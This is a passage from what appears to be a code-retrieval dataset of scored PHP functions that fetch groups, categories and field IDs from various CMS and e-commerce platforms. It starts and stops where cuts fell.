`category_id_0`, `category_id_1` ,`category_id_2` FROM `\".$this->tblPrefix.\"listing_materials` WHERE supplier_id='\".$customerId.\"' UNION\nSELECT `category_id_0`, `category_id_1` ,`category_id_2` FROM `\".$this->tblPrefix.\"services` WHERE supplier_id='\".$customerId.\"' UNION\nSELECT `category_id_0`, `category_id_1` ,`category_id_2` FROM `\".$this->tblPrefix.\"classified_ads` WHERE supplier_id='\".$customerId.\"'\";\n //echo $sql;\n $result = $this->query($sql);\n for($i=0;$i<count($result);$i++) {\n $list[$i][]=$result[$i]['category_id_0'];//0\n $list[$i][]=$result[$i]['category_id_1'];//1\n $list[$i][]=$result[$i]['category_id_2'];//2\n }\n return $list;\n\n }", "title": "" }, { "docid": "2c71b69e28b747cee5b514c8c7a9aeef", "score": "0.5355354", "text": "function get_category_groups()\n {\n \t\t// --------------------------------------------\n // Prep Cache, Return if Set\n // --------------------------------------------\n \t\t\n \t\t$cache_name = __FUNCTION__;\n \t\t$cache_hash = $this->_imploder(func_get_args());\n \t\t\n \t\tif (isset($this->cached[$cache_name][$cache_hash]))\n \t\t{\n \t\t\treturn $this->cached[$cache_name][$cache_hash];\n \t\t}\n \t\t\n \t\t$this->cached[$cache_name][$cache_hash] = array();\n \t\t\n \t\t// --------------------------------------------\n // Grab category groups\n // --------------------------------------------\n\t\t\n\t\t$sql = \"/* Super Search data.super_search.php get_category_groups() */ SELECT group_id, group_name\n\t\t\t\tFROM exp_category_groups\n\t\t\t\tWHERE site_id = \".ee()->db->escape_str( ee()->config->item('site_id') ).\"\n\t\t\t\tORDER BY group_name ASC\";\n\t\t\n\t\t$query = ee()->db->query( $sql );\n\t\t\n\t\tforeach($query->result_array() as $row)\n\t\t{\n\t\t\t$this->cached[$cache_name][$cache_hash][$row['group_id']] = $row['group_name'];\n\t\t}\n \n \t\t// --------------------------------------------\n // Return Data\n // --------------------------------------------\n \t\t\n \t\treturn $this->cached[$cache_name][$cache_hash];\t\n }", "title": "" }, { "docid": "4c69a0ace2c08be24a513adf3bf7f639", "score": "0.5337967", "text": "public function get_groups($id = '')\r\n {\r\n if (is_numeric($id)) {\r\n $this->db->where('id', $id);\r\n return $this->db->get('tblcustomersgroups')->row();\r\n }\r\n return $this->db->get('tblcustomersgroups')->result_array();\r\n }", "title": "" }, { "docid": "7fffc255a34e8390208c7c7fe0470621", "score": "0.5299769", "text": "private function resolveTagIds($tags)\n {\n $tag = array_first($tags);\n if ($tag instanceof PressGroup) {\n $tag_ids = Arrays::map($tags, function(PressGroup $tag) {\n return $tag->getId();\n });\n\n } elseif (is_int($tag)) {\n $tag_ids = $tags;\n\n } else {\n $tag_ids = PressGroupQuery::create()\n ->setComment(__METHOD__)\n ->filterByLicenseId($this->contact->getLicenseId())\n ->apply(function (PressGroupQuery $query) use ($tags) {\n foreach (array_values($tags) as $i => $tag) {\n if ($i > 0) $query->_or();\n $query->filterByGroupName($tag, Criteria::ILIKE);\n }\n })\n ->select(['id'])\n ->find()\n ->toArray();\n }\n\n return $tag_ids;\n }", "title": "" }, { "docid": "16a2ba0b7c103fc510c4c83654ec084f", "score": "0.5298663", "text": "private function metaQueryGroup($field, HttpRequest $request) {\n $group = array();\n $meta_key = $field->getFieldId();\n $inputs = $field->getInputs();\n $data_type = $field->getDataType();\n $compare = $field->getCompare();\n\n $clauses = $this->clauseList($inputs, $meta_key, $compare, $data_type);\n\n foreach ($clauses as $clause) {\n if (!empty($clause)) {\n $group[] = $clause;\n }\n }\n if (count($group) == 1) $group = $group[0];\n return $group;\n }", "title": "" }, { "docid": "4664a9eb82abfdebb762f1ec3b91a58a", "score": "0.52983713", "text": "public static function get_module_group_by_category() {\n\t\tglobal $tf_modules;\n\t\t$categories = array();\n\t\tforeach( $tf_modules->get_modules() as $module ) {\n\t\t\tif ( is_array( $module->category ) ) {\n\t\t\t\tforeach( $module->category as $category ) {\n\t\t\t\t\t$categories[ $category ][] = $module;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$categories[ $module->category ][] = $module;\n\t\t\t}\n\t\t}\n\t\treturn $categories;\n\t}", "title": "" }, { "docid": "d4057c6aafc0675f0e67176b4e0b2514", "score": "0.5294563", "text": "public function getSelectmultiple($articleid, $fieldsids , $category =false)\n {\n $html ='';\n $valor = fieldattach::getValue( $articleid, $fieldsids , $category );\n if(!empty($valor))\n {\n $html .= '<div id=\"cel_'.$field->id.'\" class=\"'.$field->type.'\">';\n if(fieldattach::getShowTitle( $fieldsids )) $str .= '<span class=\"title\">'.$field->title.' </span>';\n $tmp = explode(\",\",$valor);\n $conta = 0;\n foreach($tmp as $obj)\n {\n $conta++;\n if(!empty($obj)) $html .= '<span class=\"value num_'.$conta.'\">'.$obj.'</span>';\n\n }\n $html .= '</div>';\n\n }\n return $html;\n }", "title": "" }, { "docid": "c5a1744371e6a81f153523c6e594fa1c", "score": "0.5278769", "text": "public function get_customer_groups($id)\r\n {\r\n $this->db->where('customer_id', $id);\r\n return $this->db->get('tblcustomergroups_in')->result_array();\r\n }", "title": "" }, { "docid": "d58e69e1728b6ad7d978f18f4938a416", "score": "0.52785623", "text": "public function getItemsContainFields(){\n $db = $this -> getDbo();\n $query = $db -> getQuery(true);\n $query -> select('g.*,x.fieldsid');\n $query -> from($db -> quoteName('#__tz_multipurpose_groups').' AS g');\n $query -> join('INNER',$db -> quoteName('#__tz_multipurpose_groupfield').' AS x ON x.groupid=g.id');\n $query -> order('x.fieldsid ASC');\n $db -> setQuery($query);\n if($items = $db -> loadObjectList()){\n $list = array();\n foreach($items as $i => $item){\n if(isset($items[$i-1]) && ($items[$i - 1] -> fieldsid == $items[$i] -> fieldsid)){\n $list[$item -> fieldsid] .= ', '.$item -> name;\n }\n else{\n $list[$item -> fieldsid] = $item -> name;\n }\n }\n return $list;\n }\n return;\n\n }", "title": "" }, { "docid": "59d9db0dcbe16339c352bcd3a80b8be3", "score": "0.5265651", "text": "public function fieldIds()\n {\n $sql = \"SELECT \n `id`\n\t\t\t\tFROM \n\t\t\t\t `user_site_form_field`\n\t\t\t\tWHERE \n\t\t\t\t `site_id` = :site_id AND \n\t\t\t\t `form_id` = :form_id\";\n $stmt = $this->_db->prepare($sql);\n $stmt->bindValue(':site_id', $this->site_id, PDO::PARAM_INT);\n $stmt->bindValue(':form_id', $this->id, PDO::PARAM_INT);\n $stmt->execute();\n\n $results = $stmt->fetchAll();\n\n $field_ids = array();\n\n foreach ($results as $row) {\n $field_ids[$row['id']] = array();\n }\n\n return $field_ids;\n }", "title": "" }, { "docid": "bacca636e3b1a508ad65725db990c8cb", "score": "0.5263678", "text": "function acf_get_grouped_field_types() {\n\t\n\t// vars\n\t$types = array();\n\t$l10n = array(\n\t\t'basic'\t\t\t=> __('Basic', 'acf'),\n\t\t'content'\t\t=> __('Content', 'acf'),\n\t\t'choice'\t\t=> __('Choice', 'acf'),\n\t\t'relational'\t=> __('Relational', 'acf'),\n\t\t'jquery'\t\t=> __('jQuery', 'acf'),\n\t\t'layout'\t\t=> __('Layout', 'acf'),\n\t);\n\t\n\t\n\t// get field type information\n\t$types_info = acf_get_field_types();\n\t\n\t\n\t// loop\n\tforeach( $types_info as $info ) {\n\t\t\n\t\t// bail early if not public\n\t\tif( !$info['public'] ) continue;\n\t\t\n\t\t\n\t\t// vars\n\t\t$cat = $info['category'];\n\t\t\n\t\t\n\t\t// default to basic\n\t\tif( !$cat ) $cat = 'basic';\n\t\t\n\t\t\n\t\t// translate\n\t\t$cat = isset($l10n[ $cat ]) ? $l10n[ $cat ] : $cat;\n\t\t\n\t\t\n\t\t// append\n\t\t$types[ $cat ][ $info['name'] ] = $info['label'];\n\t\t\n\t}\n\t\n\t\n\t// return\n\treturn $types;\n\t\n}", "title": "" }, { "docid": "b873499363cbfd8ae922e5d4ee8a14c3", "score": "0.524614", "text": "function getSubCategoryIDs() {\n $ids = array();\n $subcategories = $this->getSubCategories();\n //debugMessage($categories->toArray());\n foreach($subcategories as $thecategories) {\n $ids[] = $thecategories->getCategoryID();\n }\n return $ids;\n }", "title": "" }, { "docid": "2a480e6bc35a4ba65895c611bcdd9654", "score": "0.5241947", "text": "private function getActivatedCustomerGroupIds()\n {\n if (empty($this->aActivatedCustomerGroupIds)) {\n /*\n * Customer group ids are saved in the config in format\n * - \"group1,group2\"\n */\n $sActivatedCustomerGroups = Mage::getStoreConfig(self::CONFIG_EXTENSION_ACTIVE_CUSTOMER_GROUPS);\n $this->aActivatedCustomerGroupIds = explode(',', $sActivatedCustomerGroups);\n\n /*\n * Always add the guest user group id when activated by customer group\n */\n $this->aActivatedCustomerGroupIds[] = Mage_Customer_Model_Group::NOT_LOGGED_IN_ID;\n }\n return $this->aActivatedCustomerGroupIds;\n }", "title": "" }, { "docid": "8b3384c7e9f3fb76c71100246e9130b8", "score": "0.52383184", "text": "function fn_sg_get_all_groups($courseid=SITEID, $userid=0, $groupingid=0, $fields='g.*') {\n global $CFG;\n\n if (!($course = get_record('course', 'id', $courseid, null, null, null, null, 'id,enrol'))) {\n return false;\n }\n\n if (($courseid != SITEID) && (fn_sg_course_uses_sgenrol($course))) {\n /// Get site groups used in course.\n $agroups = false;\n } else {\n $agroups = groups_get_all_groups(SITEID, $userid, $groupingid, $fields);\n }\n\n if (!is_array($agroups)) {\n $agroups = array();\n }\n\n if (!($groupings = groups_get_all_groupings(SITEID))) {\n $groupings = array();\n }\n\n $groups = array();\n foreach ($groupings as $groupingid => $grouping) {\n $groups['g_'.$groupingid] = $grouping;\n if ($ggroups = groups_get_all_groups(SITEID, $userid, $groupingid, $fields)) {\n foreach ($ggroups as $ggroupid => $ggroup) {\n $ggroup->name = ' - '.$ggroup->name;\n $groups[$ggroupid] = $ggroup;\n unset($agroups[$ggroupid]);\n }\n }\n }\n\n $nogrouping = new Object();\n $nogrouping->id = 0;\n $nogrouping->name = 'NOT IN GROUPING';\n foreach ($agroups as $agroup) {\n $agroup->name = ' - ' . $agroup->name;\n }\n\n if (!empty($agroups)) {\n $groups = $groups + array('g_0' => $nogrouping) + $agroups;\n }\n return $groups;\n }", "title": "" }, { "docid": "51993a167821541b2ab7ce3c1417c051", "score": "0.5232423", "text": "public function getGroups();", "title": "" }, { "docid": "51993a167821541b2ab7ce3c1417c051", "score": "0.5232423", "text": "public function getGroups();", "title": "" }, { "docid": "51993a167821541b2ab7ce3c1417c051", "score": "0.5232423", "text": "public function getGroups();", "title": "" }, { "docid": "e655df48347b6886a364ee9cf38dc7a5", "score": "0.5230509", "text": "public function getCategoryIds()\n {\n $conditions = $this->getData('conditions')\n ? $this->getData('conditions')\n : $this->getData('conditions_encoded');\n\n if ($conditions) {\n $conditions = $this->conditionsHelper->decode($conditions);\n }\n\n foreach ($conditions as $key => $condition) {\n if (!empty($condition['attribute']) && $condition['attribute'] == 'category_ids') {\n return $condition['value'];\n }\n }\n return '';\n }", "title": "" }, { "docid": "f1254930d841d4715ec86c0327a974a8", "score": "0.5228602", "text": "function _getGroups() {\n\t\t$groupsStr = @$_SERVER['HTTP_IV_GROUPS'];\n\t\t//$groupsStr = @$_REQUEST['groups'];\n\t\tif ($groupsStr) {\n\t\t\t$groupsStr = str_replace(\n\t\t\t\tarray('\"', '\\'', '\\\\'),\n\t\t\t\tarray('' , '' , '' ),\n\t\t\t\t$groupsStr);\n\t\t\t$tmp = explode(',', $groupsStr);\n\t\t\t$groups = array();\n\t\t\tforeach ($tmp as $g)\n\t\t\t\t$groups[] = trim($g);\n\t\t\treturn $groups;\n\t\t} else\n\t\t\treturn array();\n\t}", "title": "" }, { "docid": "441741bffb8d9504513245bb6db30e72", "score": "0.52150875", "text": "public function getGroups()\n\t{\n\t\tif( !isset( $this->values['groups'] ) )\n\t\t{\n\t\t\t$this->values['groups'] = [];\n\n\t\t\tforeach( $this->getListItems( 'customer/group', 'default' ) as $listItem ) {\n\t\t\t\t$this->values['groups'][] = $listItem->getRefId();\n\t\t\t}\n\t\t}\n\n\t\treturn (array) $this->values['groups'];\n\t}", "title": "" }, { "docid": "217b566a45ebc65c5c8a0865880fe827", "score": "0.52062047", "text": "public static function getGroupFields(\\Elgg\\Hook $hook) {\n\t\n\t\t// get from cache\n\t\t$entities = elgg_load_system_cache('profile_manager_group_fields');\n\t\tif ($entities === null) {\n\t\t\t$options = [\n\t\t\t\t'type' => 'object',\n\t\t\t\t'subtype' => CUSTOM_PROFILE_FIELDS_GROUP_SUBTYPE,\n\t\t\t\t'limit' => false,\n\t\t\t\t'owner_guid' => elgg_get_config('site_guid')\n\t\t\t];\n\t\t\t$entities = elgg_get_entities($options);\n\t\t\telgg_save_system_cache('profile_manager_group_fields', serialize($entities));\n\t\t} else {\n\t\t\t$entities = unserialize($entities);\n\t\t}\n\t\n\t\tif (empty($entities)) {\n\t\t\treturn;\n\t\t}\n\t\n\t\t$guids = [];\n\t\t$translations = [];\n\t\n\t\tforeach ($entities as $entity) {\n\t\t\t$guids[] = $entity->getGUID();\n\t\t}\n\t\n\t\t_elgg_services()->metadataCache->populateFromEntities($guids);\n\t\n\t\t$result = [];\n\t\t$ordered = [];\n\t\n\t\t// Order the group fields and filter some types out\n\t\tforeach ($entities as $group_field) {\n\t\t\tif ($group_field->admin_only != 'yes' || (elgg_is_admin_logged_in() || elgg_get_ignore_access())) {\n\t\t\t\t$ordered[$group_field->order] = $group_field;\n\t\t\t}\n\t\t}\n\t\tksort($ordered);\n\t\n\t\t// build the correct list\n\t\t$result['name'] = 'text';\n\t\tforeach ($ordered as $group_field) {\n\t\t\t$result[$group_field->metadata_name] = $group_field->metadata_type;\n\t\t\n\t\t\t$translations[\"groups:{$group_field->metadata_name}\"] = $group_field;\n\t\t}\n\t\n\t\tself::registerFieldTranslations($translations);\n\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c61e5c5224af03ab2266daeceb50edf2", "score": "0.51870716", "text": "function cluster_groups_grouping_allowed($clusterid) {\n global $CFG, $CURMAN;\n\n if(empty($CFG->enablegroupings) || empty($CURMAN->config->cluster_groupings)) {\n return false;\n }\n\n //retrieve the config field\n if($fieldid = get_field(FIELDTABLE, 'id', 'shortname', 'cluster_groupings')) {\n\n //get the cluster context level\n $context = context_level_base::get_custom_context_level('cluster', 'block_curr_admin');\n\n //retrieve the cluster context instance\n $context_instance = get_context_instance($context, $clusterid);\n\n //construct the specific field\n $field = new field($fieldid);\n\n //retrieve the appropriate field's data for this cluster based on the context instance\n if($field_data = field_data::get_for_context_and_field($context_instance, $field)) {\n\n //this should really only return one record, so return true of any have non-empty data\n foreach($field_data as $field_datum) {\n if(!empty($field_datum->data)) {\n return true;\n }\n }\n }\n }\n\n return false;\n}", "title": "" }, { "docid": "87b29dd3339fdd8feafff31135bf9e36", "score": "0.51666975", "text": "public function getSubcategoriesIds($idCat, $toString = true)\n\t{\n\t\t$categorias = $this->getCategories($idCat, false);\n\t\t$ids = $this->_readCategorieArray($categorias, array($idCat));\n\t\tif($toString) return implode(',', $ids);\n\t\telse return $ids;\n\t}", "title": "" }, { "docid": "c1c6f692e8171ddbbabe74b510693c77", "score": "0.5155559", "text": "public function getAllGroupInfo($group_ids) {\n \n $final_result = array();\n //get all groups info by ids\n if(count($group_ids)>0) {\n $qb = $this->createQueryBuilder();\n $results = $qb->field('id')->in($group_ids)\n ->getQuery()\n ->execute()\n ->toArray(false);\n return $results;\n }\n \n return $final_result;\n }", "title": "" }, { "docid": "a0f660ecec25a00993495eef505e4b5b", "score": "0.51553935", "text": "function getDataSourceGroups($data_source_id)\n\t{\n\t\t$groups = array();\n\n\t\t$query = $this->db->select('group')->where('registry_object_id','data_source_id')->get('data_source_attributes');\n\t\t\tif ($query->num_rows() == 0)\n\t\t\t{\n\t\t\t\treturn $groups;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tforeach($query->result_array() AS $group)\n\t\t\t\t{\n\t\t\t\t\t$groups[] = $group['group'];\n\t\t\t\t}\n\t\t\t}\n\t\treturn $groups;\n\t}", "title": "" }, { "docid": "72ca26d4d94bc447e0c14a75d0373488", "score": "0.51512206", "text": "function group_by_id($id)\n{\n $db = Database::getInstance();\n $group = $db->query(\n \"SELECT * FROM {opgroup} WHERE groupid = ?\",\n array($id),\n array('return_rows' => Database::RETURN_ONE_ROW)\n );\n\n return $group;\n}", "title": "" }, { "docid": "372f949ce568ffead5fcfff5732f9586", "score": "0.5148408", "text": "function jsonFieldGroups()\n {\n $nodes = array();\n\n $plan_id = Sanitize::getInt($this->params,'plan_id');\n\n $group_id = Sanitize::getString($this->params,'group_id');\n\n $cat_ids = Sanitize::getString($this->params,'cat_id');\n\n $action = Sanitize::getString($this->params,'action');\n\n if($group_id && $action == 'checked') return $this->getFieldsbyGroupId($group_id); // Returns child nodes (fields) in the field tree when a group is checked\n\n if($plan_id || $cat_ids)\n {\n # Get cat ids in plan\n if($plan_id)\n {\n $plan = $this->PaidPlan->findRow(array('conditions'=>'PaidPlan.plan_id = ' . $plan_id));\n $cat_ids = implode(\",\",$plan['PaidPlanCategory']['cat_id']);\n }\n $group_ids = $this->getGroupIdsByCatId($cat_ids);\n if(!empty($group_ids))\n {\n $query = \"\n SELECT\n groupid, title, name\n FROM\n #__jreviews_groups\n WHERE\n groupid IN (\".$group_ids.\")\n AND\n `type` = 'content'\n \";\n $this->_db->setQuery($query);\n $groups = $this->_db->loadAssocList();\n\n foreach($groups AS $group)\n {\n $nodes[] = array(\n \"attributes\"=>array(\"id\"=>\"g\".$group['groupid']),\n \"data\"=>$group['title'] . \"(\".$group['name'].\")\",\n \"state\"=>\"open\"\n// ,\"children\"=>$this->getFieldsbyGroupId($group['groupid'])\n );\n }\n }\n return cmsFramework::jsonResponse($nodes);\n }\n }", "title": "" }, { "docid": "0a9e3591b0d4262e4225b01b50ffa9a0", "score": "0.5145107", "text": "Public Static function getCategories() {\n $type = trim(elgg_get_plugin_setting('categories', self::PLUGIN_ID));\n $fields = explode(\",\", $type);\n\n $field_values[NULL] = elgg_echo('agora:add:category:select');\n foreach ($fields as $val) {\n $key = elgg_get_friendly_title($val);\n if ($key) {\n $field_values[$key] = $val;\n }\n }\n return $field_values;\n }", "title": "" }, { "docid": "74f25a5f41b1db757cbfe69b7754d020", "score": "0.5125419", "text": "public function get_groups(){\n $return = array();\n $sql = sprintf(\"SELECT * FROM miki_group_s_action WHERE action_id = %d\",\n mysql_real_escape_string($this->id));\n $result = mysql_query($sql);\n while($row = mysql_fetch_row($result)){\n $group = new Miki_group($row['group_id']);\n $return[] = $group;\n }\n return $return;\n }", "title": "" }, { "docid": "d0c059b441190316068e80a6fdf4dfa2", "score": "0.51198566", "text": "public static function get_group_by(): array {\n\t\t$group_by = [];\n\n\t\tforeach ( static::get_registered_fields() as $field ) {\n\t\t\t/** @var $field Event_Field */\n\t\t\tif ( $field::can_group_by() ) {\n\t\t\t\t$group_by[ $field::key() ] = $field::get_label();\n\t\t\t}\n\t\t}\n\n\t\treturn $group_by;\n\t}", "title": "" }, { "docid": "8cd4fbe3291935b4b5ba5b2d66e6cfcc", "score": "0.5115301", "text": "function tt_get_category2id_array($add_all_category = true) {\r\n\r\n\r\n $categories = get_categories(array(\r\n 'hide_empty' => 0\r\n ));\r\n $categories_parents = array();\r\n $categories_childs = array();\r\n\r\n if ($add_all_category) { //add all categories if necessary\r\n $categories_buffer['- All categories -'] = '';\r\n }\r\n\r\n\r\n foreach ($categories as $category) {\r\n if ($category->category_parent == 0) {\r\n $categories_parents[$category->name] = $category->term_id;\r\n } else {\r\n $categories_childs[$category->category_parent][$category->name] = $category->term_id;\r\n }\r\n }\r\n ksort ($categories_parents);\r\n foreach ($categories_parents as $category_name => $category_id) {\r\n $categories_buffer[$category_name] = $category_id;\r\n if (!empty($categories_childs[$category_id])) {\r\n ksort ($categories_childs[$category_id]);\r\n foreach ($categories_childs[$category_id] as $child_name => $child_id) {\r\n $categories_buffer[' - ' . $child_name] = $child_id;\r\n }\r\n }\r\n }\r\n\r\n $tt_category_structure_buffer = $categories_buffer;\r\n\r\n\r\n return $categories_buffer;\r\n}", "title": "" }, { "docid": "ed41bc00b7d2e5bc489c1c9b174c1cfc", "score": "0.51126826", "text": "public function group(){\n return $this->groupBy( func_get_args() );\n }", "title": "" }, { "docid": "bc6d666ad562fcadef8accd23cdf6f73", "score": "0.5106998", "text": "function groupByClause( $groupby ) {\n global $wpdb;\n $groupby_id = \"{$wpdb->posts}.ID\";\n if(strpos($groupby, $groupby_id) !== false) return $groupby;\n if(!strlen(trim($groupby))) return $groupby_id;\n return $groupby.\", \".$groupby_id;\n }", "title": "" }, { "docid": "645c97c4b925b3635b37daae0bd08990", "score": "0.50986254", "text": "public function getFolderGroups($idOrg) {\n\t\t$res =array();\n\t\t$query = \"SELECT idst_oc, idst_ocd FROM %adm_org_chart_tree\n\t\t\tWHERE idOrg = '\".(int)$idOrg.\"'\";\n\n\t\t$q = $this->db->query($query);\n\n\t\tif ($q) {\n\t\t\t$row =$this->db->fetch_assoc($q);\n\t\t\t$res[]=$row['idst_oc'];\n\t\t\t$res[]=$row['idst_ocd'];\n\t\t}\n\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "54ec76c5e54a736d18dfc5ef13de4314", "score": "0.5089536", "text": "public function get_groups() {\n global $DB;\n $sql = <<<SQL\n SELECT g.id, c.idnumber AS vle_course_id, g.idnumber AS vle_group_id, g.name AS name\n FROM {groups} g\n INNER JOIN {course} c\n ON c.id = g.courseid\n WHERE c.id != :siteid\n AND LENGTH(c.idnumber) > 0\n AND LENGTH(g.idnumber) > 0\n ORDER BY c.idnumber, g.idnumber\nSQL;\n $params = array(\n 'siteid' => SITEID,\n );\n return $DB->get_records_sql($sql, $params);\n }", "title": "" }, { "docid": "5440efc209a4c0e872d621053f91c295", "score": "0.5082278", "text": "function field_group_read_groups($conditions = array(), $enabled = TRUE) {\n // This function loads the requested groups through ctools export api.\n}", "title": "" }, { "docid": "592d61443c74e817f711a875797fbec9", "score": "0.5074069", "text": "public function findIDSearchableByCategories($ids)\n {\n if(!is_array($ids)) { $ids = array($ids); };\n $this->dao->select('f.pk_i_id');\n $this->dao->from($this->getTableName().\" f, \".DB_TABLE_PREFIX.\"t_meta_categories c\");\n $where = array();\n $mCat = Category::newInstance();\n foreach($ids as $id) {\n if(is_numeric($id)) {\n $where[] = 'c.fk_i_category_id = '.$id;\n } else {\n $cat = $mCat->findBySlug($id);\n if(isset($cat['pk_i_id'])) {\n $where[] = 'c.fk_i_category_id = ' . $cat['pk_i_id'];\n }\n }\n }\n if(empty($where)) {\n return array();\n } else {\n $this->dao->where('( '.implode(' OR ', $where).' )');\n }\n $this->dao->where('f.pk_i_id = c.fk_i_field_id');\n $this->dao->where('f.b_searchable', 1);\n\n $result = $this->dao->get();\n\n if( $result == false ) {\n return array();\n }\n\n $tmp = array();\n foreach($result->result() as $t) { $tmp[] = $t['pk_i_id']; };\n return $tmp;\n }", "title": "" }, { "docid": "fad6fbdfe39de5c55d67d3e06604738f", "score": "0.5065667", "text": "private function get_category_ids( $arg ) {\n\n\t\t$categories = explode( ',', $arg );\n\t\t$category_ids = [];\n\t\tforeach ( $categories as $post_category ) {\n\t\t\tif ( trim( $post_category ) ) {\n\t\t\t\tif ( is_numeric( $post_category ) && (int) $post_category ) {\n\t\t\t\t\t$category_id = category_exists( (int) $post_category );\n\t\t\t\t} else {\n\t\t\t\t\t$category_id = category_exists( $post_category );\n\t\t\t\t}\n\t\t\t\tif ( ! $category_id ) {\n\t\t\t\t\tWP_CLI::error( \"No such post category '{$post_category}'.\" );\n\t\t\t\t}\n\t\t\t\t$category_ids[] = $category_id;\n\t\t\t}\n\t\t}\n\t\t// If no category ids found, return exploded array for compat with previous WP-CLI versions.\n\t\treturn $category_ids ?: $categories;\n\t}", "title": "" }, { "docid": "bc87fbacc9bb2fe5cb0576bd2a459323", "score": "0.5064336", "text": "public function getExternalGroupIds()\n {\n return array();\n }", "title": "" }, { "docid": "cfa4e8b22700afe12bc169937b7898eb", "score": "0.5059872", "text": "function cluster_groups_cluster_allows_groups($clusterid) {\n global $CURMAN;\n\n //retrieve the config field\n if($fieldid = get_field(FIELDTABLE, 'id', 'shortname', 'cluster_group')) {\n\n //get the cluster context level\n $context = context_level_base::get_custom_context_level('cluster', 'block_curr_admin');\n\n //retrieve the cluster context instance\n $context_instance = get_context_instance($context, $clusterid);\n\n //construct the specific field\n $field = new field($fieldid);\n\n //retrieve the appropriate field's data for this cluster based on the context instance\n if($field_data = field_data::get_for_context_and_field($context_instance, $field)) {\n\n //this should really only return one record, so return true of any have non-empty data\n foreach($field_data as $field_datum) {\n if(!empty($field_datum->data)) {\n return true;\n }\n }\n }\n }\n\n return false;\n}", "title": "" }, { "docid": "1ced374e7f1a80a2e35d8eb414f50bda", "score": "0.50585204", "text": "public function getFilterGroups();", "title": "" }, { "docid": "70333a71b732bea162267fa45966ee78", "score": "0.50491804", "text": "function get_field_group_choices() {\n\t\t\tglobal $post;\n\t\t\t$groups = acf_get_field_groups();\n\t\t\t$r = array();\n\t\t\t$current_id = is_object( $post ) ? $post->ID : $_POST['parent'];\n\t\t\t$current_group = _acf_get_field_group_by_id($current_id);\n\t\t\tforeach( $groups as $group ) {\n\t\t\t\t$key = $group[\"key\"];\n\t\t\t\t// don't show the current field group.\n\t\t\t\tif ($key == $current_group[\"key\"]) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$r[$key] = $group[\"title\"];\n\t\t\t}\n\t\t\treturn $r;\n\t\t}", "title": "" }, { "docid": "d4a0e320979351a6ed1f3f446f61660c", "score": "0.5049044", "text": "function getGroups($searchterm = null) {\n $filter = \"(&(objectclass=group)\".$this->ldapGroupMask.\")\";\n $baseDN = $this->ldapGroupBaseDN;\n if ($searchterm) {\n $filter = \"(&(objectclass=group)(cn=*$searchterm*))\";\n $baseDN = $this->ldapBaseDN;\n }\n $sr = ldap_search($this->ldapconn, $baseDN, $filter, array(\"DN\",\"CN\"));\n if (!$sr) {\n ldap_get_option($this->ldapconn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $err);\n return array(\"error\", ldap_error($this->ldapconn).\":\".$err);\n }\n $entries = ldap_get_entries($this->ldapconn, $sr);\n $groups = array();\n for ($eidx = 0; $eidx < $entries[\"count\"]; $eidx++) {\n $g[\"dn\"] = $entries[$eidx][\"dn\"];\n $g[\"cn\"] = $entries[$eidx][\"cn\"][0];\n $groups[] = $g;\n }\n $r = array();\n foreach ($groups as $group) {\n $vals = $this->parseGroupDN($group[\"dn\"]);\n if ($vals != null) {\n $group[\"cat\"]=$vals[\"cat\"];\n $group[\"title\"]=$vals[\"title\"];\n $group[\"section\"]=$vals[\"section\"];\n }\n $r[] = $group;\n }\n usort($r, array(\"ldapinfo\", \"cmpGrp\"));\n return $r;\n }", "title": "" }, { "docid": "19fbd243fa1244acd6564da21ced21bd", "score": "0.5044068", "text": "public function getGroups()\n\t{\n\t\t$dbh = $this->dbh;\n\n\t\t$gids = array();\n\n\t\t// Get distinct list of users\n\t\tforeach ($this->entries as $ent)\n\t\t{\n\t\t\tforeach ($ent->groups as $groupId)\n\t\t\t{\n\t\t\t\tif (!in_array($groupId, $gids))\n\t\t\t\t\t$gids[] = $groupId;\n\t\t\t}\n\t\t}\n\n\t\t$groups = array();\n\t\t$uobj = CAntObject::factory($dbh, \"user\");\n\t\t$grpsData = $uobj->getGroupingData(\"groups\"); // load all groups\n\n\t\tforeach ($gids as $gid)\n\t\t{\n\t\t\t$title = \"\";\n\n\t\t\tforeach ($grpsData as $gdata)\n\t\t\t\tif ($gdata['id'] == $gid)\n\t\t\t\t\t$title = $gdata['title'];\n\t\t\t\t\t\n\t\t\t$groups[] = array(\"id\"=>$gid, \"name\"=>$title);\n\t\t}\n\n\t\treturn $groups;\n\t}", "title": "" }, { "docid": "0b7dfc645a92c075be8d88d364ff6e60", "score": "0.50318724", "text": "function getGroupCounts($db, $c_id){\n\t$db->where (\"g_c_id\", $c_id);\n\t$count = $db->getValue (\"groups\", \"count(*)\");\n\n\treturn $count;\n\t\n}", "title": "" }, { "docid": "bee44062578d0e21489143085816c644", "score": "0.5030987", "text": "protected function prepareCategoryIds($categoryIds, $isCategory, $object)\r\n {\r\n $applyForChildCategories = $this->getRule()->getApplyForChildCategories();\r\n if ($applyForChildCategories\r\n && $isCategory\r\n && ($categoryPath = $object->getPathIds())\r\n && is_array($categoryPath)) {\r\n $categoryIds = array_merge($categoryIds, $categoryPath);\r\n } elseif ($applyForChildCategories\r\n && !$isCategory\r\n && ($categoryCollection = $object->getCategoryCollection())\r\n && is_object($categoryCollection)) {\r\n foreach ($categoryCollection as $category) {\r\n $categoryIds = array_merge($categoryIds, $category->getPathIds());\r\n }\r\n }\r\n\r\n return array_unique($categoryIds);\r\n }", "title": "" }, { "docid": "a435cbc47f2bbab5ce5164900b1983c4", "score": "0.50301206", "text": "protected function getAllCustomerGroupsId()\n {\n // ex: 32000\n return $this->groupManagement->getAllCustomersGroup()->getId();\n }", "title": "" }, { "docid": "1e04406a50d5fe597e117ad8ea2776da", "score": "0.5028733", "text": "public function getCategoryGroups()\n {\n return $this->categoryGroups;\n }", "title": "" }, { "docid": "37bc247a55f13a8dedbf5f0d8e1c1de9", "score": "0.50273526", "text": "function sl_get_ids($field) {\n if(!$field) return false;\n $array = [];\n foreach($field as $item) {\n $array[] = $item->ID;\n }\n return $array;\n}", "title": "" }, { "docid": "563d9b80b8132c5558cac4ce1842c217", "score": "0.50265306", "text": "function groupBy($groups, $format = null, $field = \"\")\r\n\t{\r\n\t\tif (count($groups) == 0) return;\r\n\t\tif (!$field) $field = $groups[0]->getPrimaryKey();\r\n\r\n\t\t$this->group_id = $field;\r\n\t\t\r\n\t\tforeach($groups as 